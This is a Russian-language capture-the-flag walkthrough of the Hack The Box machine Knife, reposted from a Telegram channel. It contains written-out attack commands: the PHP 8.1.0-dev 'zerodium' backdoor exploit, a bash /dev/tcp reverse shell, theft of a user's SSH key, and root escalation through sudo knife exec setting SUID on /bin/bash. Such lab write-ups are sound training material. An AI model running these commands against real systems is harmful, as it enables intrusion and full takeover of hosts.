Хакер - HTB Knife. Эксплуатируем нашумевший бэкдор в языке PHP

Хакер - HTB Knife. Эксплуатируем нашумевший бэкдор в языке PHP

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка опоры
  • Локальное повышение привилегий

Се­год­ня мы с тобой прой­дем лег­кую машину под наз­вани­ем Knife с пло­щад­ки Hack The Box. Ее изю­мин­ка — это поразив­ший всех, но быс­тро обна­ружен­ный и запат­ченный бэк­дор в PHP 8.1.0-dev. Мы раз­берем­ся, что же все‑таки делать, если вдруг попалась такая экзо­тика, а так­же прой­дем весь путь от поис­ка уяз­вимос­тей до зах­вата хос­та.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP машины в /etc/hosts, что­бы даль­ше обра­щать­ся по удоб­ному адре­су и не печатать IP.

10.10.10.242 knife.htb

И ска­ниру­ем пор­ты.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат ска­ниро­вания

Мы наб­люда­ем два откры­тых пор­та: 22 (служ­ба SSH) и 80 (Apache 2.4.41). На SSH нам пока делать нечего, поэто­му будем изу­чать сайт.

Глав­ная стра­ница сай­та

На самом сай­те не находим ничего инте­рес­ного — там есть нес­коль­ко скрип­тов на JS, но они для нас бес­полез­ны.

Нам нуж­но про­вес­ти более глу­бокий ана­лиз. Для это­го есть, к при­меру, ути­лита WhatWeb — она рас­позна­ет веб‑тех­нологии, в том чис­ле сис­тему управле­ния кон­тентом (CMS), плат­формы для ведения бло­гов, пакеты ста­тис­тики и ана­лити­ки, биб­лиоте­ки JavaScript, веб‑сер­веры и дру­гие вещи. К тому же к WhatWeb есть более 1700 пла­гинов, которые мож­но исполь­зовать в агрессив­ном режиме ска­ниро­вания. Но если запус­тить прог­рамму с нас­трой­ками по умол­чанию, то будет выпол­нен все­го один зап­рос.

Ре­зуль­тат ска­ниро­вания WhatWeb

Из всей пред­став­ленной информа­ции наибо­лее инте­ресен заголо­вок X-Powered-By, по которо­му опре­делим вер­сию PHP 8.1.0-dev. Сло­во dev озна­чает, что вер­сия PHP тес­товая, а зна­чит, в ней могут быть уяз­вимос­ти. Поищем их!

Справка: поиск готовых эксплоитов

При пен­тесте луч­ше все­го искать экс­пло­иты при помощи Google, пос­коль­ку этот поис­ковик заг­лядыва­ет и в лич­ные бло­ги, и в самые раз­ные отче­ты. Уско­рят дело спе­циали­зиро­ван­ные базы вро­де Exploit-DB — там час­то мож­но обна­ружить под­ходящие вари­анты. Если ты работа­ешь в спе­циали­зиро­ван­ной ОС вро­де Kali Linux, то эта база у тебя уже есть и для поис­ка мож­но исполь­зовать ути­литу searchsploit.

По­иск экс­пло­итов для PHP 8.1.0-dev

Это как раз тот слу­чай, ког­да searchsploit нам не помог­ла, а вот в Google уда­лось най­ти кое‑что инте­рес­ное.

ТОЧКА ОПОРЫ

Вер­сия PHP 8.1.0-dev была выпуще­на с бэк­дором, но раз­работ­чики быс­тро обна­ружи­ли его и уда­лили в релизе.

Ес­ли эта вер­сия PHP работа­ет на сер­вере, зло­умыш­ленник может выпол­нить про­изволь­ный код, отпра­вив заголо­вок User-Agentt. Как мож­но заметить, если изу­чить ис­ходни­ки, код выпол­няет­ся в фун­кции zend_eval_string, если стро­ка из HTTP-заголов­ка User-Agentt начина­ется с zerodium.

Уяз­вимый код из репози­тория на GitHub

Для экс­плу­ата­ции уяз­вимос­ти мож­но исполь­зовать экс­пло­ит Ричар­да Джон­са, он даст нам RCE.

python3 php_8.1.0-dev.py -u http://knife.htb/ -c 'id'

Ре­зуль­тат работы экс­пло­ита

И сра­зу кида­ем реверс‑шелл.

Справка: реверс-шелл

Об­ратный шелл — это под­клю­чение, которое акти­виру­ет ата­куемая машина, а мы при­нима­ем и таким обра­зом под­клю­чаем­ся к ней, что­бы выпол­нять коман­ды от лица поль­зовате­ля, который запус­тил шелл. Для при­ема соеди­нения необ­ходимо соз­дать на локаль­ной машине listener, то есть «слу­шатель».

В таких слу­чаях при­годит­ся rlwrap — readline-обо­лоч­ка, которая в чис­ле про­чего поз­воля­ет поль­зовать­ся исто­рией команд. Она обыч­но дос­тупна в репози­тории дис­три­бути­ва.

apt install rlwrap

В качес­тве самого лис­тенера при этом мож­но исполь­зовать широко извес­тный netcat.

rlwrap nc -lvp [port]

Вы­пол­няем под­клю­чение и ловим бэк­коннект.

python3 php_8.1.0-dev.py -u http://knife.htb/ -c "/bin/bash -c 'bash -i >&/dev/tcp/[ip]/[port] 0>&1'"

Бэк­коннект от сер­вера

В дирек­тории /home/james/.ssh находим пару клю­чей поль­зовате­ля. Так как соеди­нение SSH более ста­биль­ное, копиру­ем при­ват­ный ключ на локаль­ный хост, наз­нача­ем пра­ва 0600 и под­клю­чаем­ся к хос­ту. Так мы берем флаг поль­зовате­ля.

chmod +x id_rsa

ssh -i ./id_rsa james@knife.htb

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Пер­вым делом про­веря­ем наибо­лее веро­ятные мес­та повыше­ния при­виле­гий — в пер­вую оче­редь нас­трой­ки sudoers.

Справка: sudoers

Файл /etc/sudoers в Linux содер­жит спис­ки команд, которые раз­ные груп­пы поль­зовате­лей могут выпол­нять от име­ни адми­нис­тра­тора сис­темы. Мож­но прос­мотреть его как нап­рямую, так и при помощи коман­ды sudo -l.

sudoers

В sudoers про­писан при­виле­гиро­ван­ный запуск прог­раммы /usr/bin/knife без пароля (NOPASSWD). Этот файл — ссыл­ка на прог­рамму в дирек­тории /opt, которая, воз­можно, свя­зана с язы­ком прог­рамми­рова­ния Ruby. Об этом говорит упо­мина­ние сло­ва gem, что, ско­рее все­го, ука­зыва­ет на исполь­зование сис­темы управле­ния пакета­ми RubyGems.

Под­робное пред­став­ление ссыл­ки /usr/bin/knife
Со­дер­жимое дирек­тории /opt/chef-workstation

Пос­мотрим справ­ку при­ложе­ния. Здесь инте­рес­на коман­да exec, которая при­нима­ет один аргу­мент — путь к скрип­ту (не счи­тая аргу­мен­тов самого скрип­та).

Справ­ка для коман­ды exec прог­раммы knife

Что это за скрипт, не говорит­ся, но мы пом­ним намек на RubyGems. Сде­лаем тес­товый скрипт на Ruby, который выводит стро­ку Hello World!, и отда­дим его при­ложе­нию.

echo 'puth "Hello World!"' > test.rb

sudo /usr/bin/knife exec test.rb

За­пуск целево­го при­ложе­ния c соз­данным скрип­том

Скрипт успешно отра­ботал, а зна­чит, оста­лось лишь изме­нить его, что­бы он выпол­нял нуж­ные нам коман­ды. Исполь­зовать фун­кцию system, что­бы запус­тить реверс‑шелл, не получи­лось, поэто­му приш­лось искать дру­гие спо­собы зак­репить­ся в при­виле­гиро­ван­ном кон­тек­сте. Нап­ример, мож­но записать клю­чи SSH, соз­дать при­виле­гиро­ван­ных поль­зовате­лей и так далее. Я решил наз­начить бит SUID обо­лоч­ке /bin/bash.

Справка: бит SUID

Ког­да у фай­ла уста­нов­лен атри­бут setuid (S-атри­бут), обыч­ный поль­зователь, запус­кающий этот файл, получа­ет повыше­ние прав до поль­зовате­ля — вла­дель­ца фай­ла в рам­ках запущен­ного про­цес­са. Пос­ле получе­ния повышен­ных прав при­ложе­ние может выпол­нять задачи, которые недос­тупны обыч­ному поль­зовате­лю. Из‑за воз­можнос­ти сос­тояния гон­ки мно­гие опе­раци­онные сис­темы игно­риру­ют S-атри­бут, уста­нов­ленный shell-скрип­там.

echo "system('chmod +s /bin/bash')" > test.rb

sudo /usr/bin/knife exec test.rb

/bin/bash -p

Флаг рута

Мы получа­ем флаг рута и таким обра­зом зах­ватыва­ем машину.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page